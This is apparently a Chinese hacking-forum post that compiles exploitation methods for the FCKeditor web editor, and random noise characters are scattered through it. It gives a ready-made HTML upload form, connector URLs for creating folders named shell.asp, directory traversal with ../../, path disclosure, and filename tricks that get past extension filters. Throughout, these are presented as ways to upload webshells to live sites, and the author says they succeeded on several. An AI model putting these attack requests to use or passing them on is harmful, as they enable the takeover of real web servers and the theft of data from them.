Fckeditor漏洞利用总结 ' O' o. G5 d& {: i5 k
查看编辑器版本- e3 O! M3 R, C, Y
FCKeditor/_whatsnew.html
8 y/ X1 X3 r' f1 _9 Q—————————————————————————————————————————————————————————————1 i G( x Q) x+ S5 e0 {
9 o2 R2 }2 t. n! B) T2. Version 2.2 版本
& T6 c# [2 H1 k% `6 \- {Apache+linux 环境下在上传文件后面加个.突破!测试通过。7 ?/ B& n) A0 X! N
—————————————————————————————————————————————————————————————' l e, a$ t; B* a v
& M4 n1 w! K+ u5 x$ Z1 x; A
3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址。; m: E: L1 D' }9 @9 x
<form id="frmUpload" enctype="multipart/form-data"' O0 K$ W6 I- D! j. l# R
action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>
) I& t- ^" A' _" F. G<input type="file" name="NewFile" size="50"><br>% _" P: o3 G/ C
<input id="btnUpload" type="submit" value="Upload">
4 R$ e* v0 `/ A$ W, a8 O6 t</form>4 e ]% c2 K4 D6 j* u6 d$ w6 I
—————————————————————————————————————————————————————————————; N/ j! y# [( d( c0 G
& i/ w0 ` @9 U; R( S9 z* |4.FCKeditor 文件上传“.”变“_”下划线的绕过方法/ @* _( Z' V5 Z7 ~; B$ S- i" D$ Z0 {
很多时候上传的文件例如:shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。' K) Y& _' R+ E
4.1:提交shell.php+空格绕过
! ~* j0 p1 M, x: R. \) p" j+ w" Z不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。 g; g$ s" e7 G' {* Z& k
4.2:继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。6 ^& A# O, Y8 w% U
—————————————————————————————————————————————————————————————! L8 [4 A# M1 V, W
r% n. B* {7 m3 r. |
5. 突破建立文件夹
4 _4 r. _5 [5 e) C7 ~5 l4 CFCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=12447899756848 Q; R7 s1 J6 Z8 w- E4 i( v
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp
% x' `6 N8 Z+ d7 k/ U" N—————————————————————————————————————————————————————————————
3 m# E2 l. ]& [
/ [7 f+ N( e) `6 _+ r6. FCKeditor 中test 文件的上传地址
- S' S& b+ }9 z! Q" L: C1 l2 BFCKeditor/editor/filemanager/browser/default/connectors/test.html# b' t/ M- Z) p7 \* x" C
FCKeditor/editor/filemanager/upload/test.html2 Q& \8 M: y4 y- p1 C
FCKeditor/editor/filemanager/connectors/test.html
- y1 {6 p) m/ v! i2 EFCKeditor/editor/filemanager/connectors/uploadtest.html8 y% z |4 N% L- p' d6 b
—————————————————————————————————————————————————————————————( w1 B" D z! Q' |
$ S1 L9 i4 a0 l$ A7.常用上传地址" D- @3 O6 `( D/ r8 u I
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
3 V: t& y" j& [7 [* G# \" SFCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp% J* n2 N% A s8 J) m
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)6 h6 A% o+ |" d, s* r" u
JSP 版:8 J' }5 Q! c e& A! t1 D2 g
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp
) i: ~7 `- ]! \6 h注意红色部分修改为FCKeditor 实际使用的脚本语言,蓝色部分可以自定义文
/ e2 h8 ?# U; R3 F' ~' D件夹名称也可以利用../..目录遍历,紫色部分为实际网站地址。# @& \! B1 z( P3 O `
—————————————————————————————————————————————————————————————
/ v' {) q& m! R: P* D+ l( w% m X3 ^! ?3 n+ M1 ^+ ~, p' I/ r
8.其他上传地址
, ]2 x0 v1 }- k* v' K" FFCKeditor/_samples/default.html
4 t9 j& b& U! l6 M% ]( PFCKeditor/_samples/asp/sample01.asp8 u3 f1 e6 G8 k" V- g2 P0 M
FCKeditor/_samples/asp/sample02.asp: Q# N' v+ w) {* A/ t% X1 y
FCKeditor/_samples/asp/sample03.asp3 e4 `1 j! B. }/ j. p
FCKeditor/_samples/asp/sample04.asp
3 a0 p# J% R; V; N$ H0 W9 O4 ~一般很多站点都已删除_samples 目录,可以试试。+ q$ |: B2 n E" n& o' Z
FCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。. U7 R& P" R7 I* o f- x
—————————————————————————————————————————————————————————————
) m5 ]/ z0 B& V! y
+ G! ~, v1 G; d" k$ i) [& z+ m7 X# g9.列目录漏洞也可助找上传地址6 c2 k! \4 c3 w$ |( W7 c: F
Version 2.4.1 测试通过
! L- L- l, D1 O! d; q修改CurrentFolder 参数使用 ../../来进入不同的目录
% f# G8 h+ k j9 D {/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp3 O* u3 v% Z: w, J& h
根据返回的XML 信息可以查看网站所有的目录。
- v! \( w/ U% xFCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F* i5 s, W q+ N- d0 P; F
也可以直接浏览盘符:6 ~/ v! O5 @+ s1 X) p; R
JSP 版本:
7 `* V7 v* C: D8 PFCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F
+ }9 j' d: o- C—————————————————————————————————————————————————————————————1 h" f8 O# {; w5 X) q! {+ T! S. r
+ D H6 B* y4 m6 ~3 z3 C" V' ~10.爆路径漏洞
2 Z8 U2 ?7 `! IFCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp
& Y8 v3 g# R! x2 i—————————————————————————————————————————————————————————————4 \3 ` B) V& c
8 u2 x6 W8 e& I! `+ W! H
11. FCKeditor 被动限制策略所导致的过滤不严问题7 f& j6 y4 G& i7 q3 ?
影响版本: FCKeditor x.x <= FCKeditor v2.4.3# ^# t* d: @5 a2 d
脆弱描述:% c6 K3 |5 {- \* z0 X
FCKeditor v2.4.3 中File 类别默认拒绝上传类型:
, q; y; l" @ p' ?html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm% E# y% g" T) z' x( Q. D
Fckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName,而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!) p% n. V" B, u8 A5 j& w
而在apache 下,因为"Apache 文件名解析缺陷漏洞"也可以利用之,另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码,其限制最为狭隘。
9 S1 X6 }; \- n+ a 在上传时遇见可直接上传脚本文件固然很好,但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过,也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!, ?- R, v, x5 v3 D* b
—————————————————————————————————————————————————————————————
# [1 A7 V9 F0 P/ y9 c( W2 }8 n, [4 r9 T7 C& n/ I
12.最古老的漏洞,Type文件没有限制!4 J) T/ Y( q+ G+ f& h; w
我接触到的第一个fckeditor漏洞了。版本不详,应该很古老了,因为程序对type=xxx 的类型没有检查。我们可以直接构造上传把type=Image 改成Type=hsren 这样就可以建立一个叫hsren的文件夹,一个新类型,没有任何限制,可以上传任意脚本! ; ?: W' ?6 [2 `, b! r9 V
—————————————————————————————————————————————————————————————
, F- c: g& U$ z4 S l/ N* X6 K. |* E x* Y# \
===============================================================================================================================================
F5 w8 n1 u: R) s$ y% f! ^+ A' }" o, W
FCK编辑器jsp版本漏洞:
; E* ^8 a- a* z4 {( t
+ Y/ q/ z' O1 E7 A8 O, p* b t- d3 \' N+ h" A" \
http://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F% W T. S0 o7 v( Z
3 n4 z& J% @: e3 v: z. } x
上传马所在目录4 u# i e$ M1 m, u
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
; ^5 }6 n2 e6 |, k( z$ e. Q上传shell的地址:- a1 i/ _9 ?' y: P' O' G8 Z
http://www.xxx.com/fckeditor/edi ... ctors/jsp/connector
7 k4 z* A+ |6 J( w# J/ L跟版本有关系.并不是百分百成功. 测试成功几个站.
$ h8 P: m" u% w# [! }( b不能通杀.很遗憾.
5 ?6 {) B* G+ I, \( L. Z- Zhttp://www.****.com/FCKeditor/editor/filemanager/browser/default/browser.html?type=File&connector=connectors/jsp/connector
8 Z' S0 w+ E7 c/ d+ ` r7 Q- F如果以上地址不行可以试试
+ f1 A8 W: V. v! y1 Y$ XFCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=/servlet/Connector
( [+ ?% N& Q- Q" \* h$ PFCKeditor/_samples/
! B+ r6 U/ l. P aFCKeditor/_samples/default.html
7 l$ C- F) F( K. N& \FCKeditor/editor/fckeditor.htm
; }1 S8 Q) M+ f$ ~FCKeditor/editor/fckdialog.html
# k8 z( P4 U* Z- x5 S
3 b, Q# M8 A' Q# D" V7 [- q
9 q+ m8 P6 h; X6 E; ?2 C! N- z- |- Z3 x
解析漏洞+未重命名文件时上传漏洞 1.asp;jpg" U5 S3 y4 j0 t- z/ W8 m) Y
|